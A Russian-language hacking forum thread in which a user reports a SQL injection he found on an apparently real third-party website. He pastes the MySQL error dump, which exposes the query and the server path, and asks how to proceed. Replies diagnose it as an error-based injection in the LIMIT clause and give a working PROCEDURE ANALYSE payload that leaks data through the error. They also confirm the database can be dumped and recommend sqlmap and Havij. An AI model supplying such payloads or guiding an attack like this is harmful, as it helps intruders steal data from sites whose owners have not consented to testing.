Что дальше делать?

Помогите. Нашел уязвимость, прочитал статтю и захотел проверить сайт. Подставил в параметр \ и мне выдало такое:

SQL Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-35 , 35' at line 16 at /home/www/htdocs/modules/Festival/index.php line 93

Array
(

Code:

 => 1064
[message] => You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-35 , 35' at line 16
[query] =>
SELECT SQL_CALC_FOUND_ROWS
s.sid,
scontent.title as stitle,
scontent.hometext,
s.acomm,
s.comments,
s.counter,
s.time,
e.title,
e.shortdescript
FROM adv_stories s
LEFT JOIN adv_stories_content scontent ON (s.sid = scontent.sid)
LEFT JOIN adv_events e ON (s.eid=e.eid)
WHERE s.eid = '593'
ORDER BY s.time DESC, s.sid DESC
LIMIT -35 , 35
[context] => /home/www/htdocs/modules/Festival/index.php line 93
[time] => 07.02.2015 02:37:02
)

конечно обрадовался. Но, что дальше делать незнаю. Подскажите

 

стоит начать с изучения статей и синтаксиса mysql. это error-based, инъекция в limit. нужно использовать вектор procedure analyse().

Code:

PROCEDURE ANALYSE (0,(SELECT 3 ORDER BY (SELECT 1 from information_schema.tables group by concat((SELECT version()),floor(rand(0)*2)) having min(0))))--+

тема с вопросами: /thread46016.html

 

а можно ссылки на статьи и книжки, пожалуйста.
Сдесь можно вытащить с базы что то толковое, или нет?

 

вытащить можно. все находится в том же разделе, что вы и создали тему. ответы на все вопросы: /thread104591.html. стоит ознакомится, прежде чем задавать вопросы.

 

понял, спасибо

 

Поковыряй софтом, понятней будет
Sqlmap.org (включай логирование, будет видно какими запросами крутиться скуля)
Havij - ну это школософт)

А если хочешь все прочуить, протрогат - руками)
Даже поэффективней и побыстрей будет чем софтами, если конечно рука набита.